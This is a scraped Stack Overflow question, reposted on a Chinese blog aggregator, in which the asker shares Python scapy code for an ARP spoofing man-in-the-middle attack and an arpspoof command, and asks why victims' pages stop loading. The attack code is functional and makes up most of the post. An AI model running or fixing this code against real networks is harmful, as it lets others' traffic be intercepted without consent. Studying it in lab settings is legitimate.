最新消息:雨落星辰是一个专注网站SEO优化、网站SEO诊断、搜索引擎研究、网络营销推广、网站策划运营及站长类的自媒体原创博客

python - Pages are not loading while doing a spoofing attack using scapy - Stack Overflow

programmeradmin5浏览0评论

I am trying to conduct a spoofing attack using scapy. Here is my code:

import scapy.all as scapy
from scanner import scan

#NOTE: The scanner module takes in an IP Address and finds the 
#corresponding Mac Address for it.

def spoof(target_ip, spoof_ip, mac_address) : 
  packet = scapy.ARP(op = 2, pdst = target_ip, hwdst=mac_address,psrc=spoof_ip)
  scapy.send(packet, verbose = False)

router_mac_address = scan(<router's_ip>)
target_mac_address = scan(<victim's_ip>)

while True : 
  spoof(<victim's_ip>, <router's_ip>, target_mac_address)
  spoof(<router's_ip>, <victim's_ip>, router_mac_address)
  time.sleep(2) 

I enable ip forwarding by typing: echo 1 > /proc/sys/net/ipv4/ip_forward in the terminal. It does not work. The webpages aren't loading, the websites aren't responding, and I have no idea what to do. I have also tried typing this command: echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward, and still, it does not work. The webpages are not responding on any device I try.

I should add that when I run an arp - spoofing attack using the command line (arpspoof -i eth0 -t <router's ip> <victim's ip>) while enabling ip_forwarding, everything works fine, and the pages load.

What am I doing wrong here?? Why aren't the IP's being forwarded??

EDIT: Here is scanner.py, in case the problem might be there:

import scapy.all as scapy

def scan(ip) : 
  arp_request = scapy.ARP(pdst=ip)
  broadcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")
  arp_request_broadcast = broadcast/arp_request
  ans = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
  mac = ans[0][1].hwsrc
  return mac
发布评论

评论列表(0)

  1. 暂无评论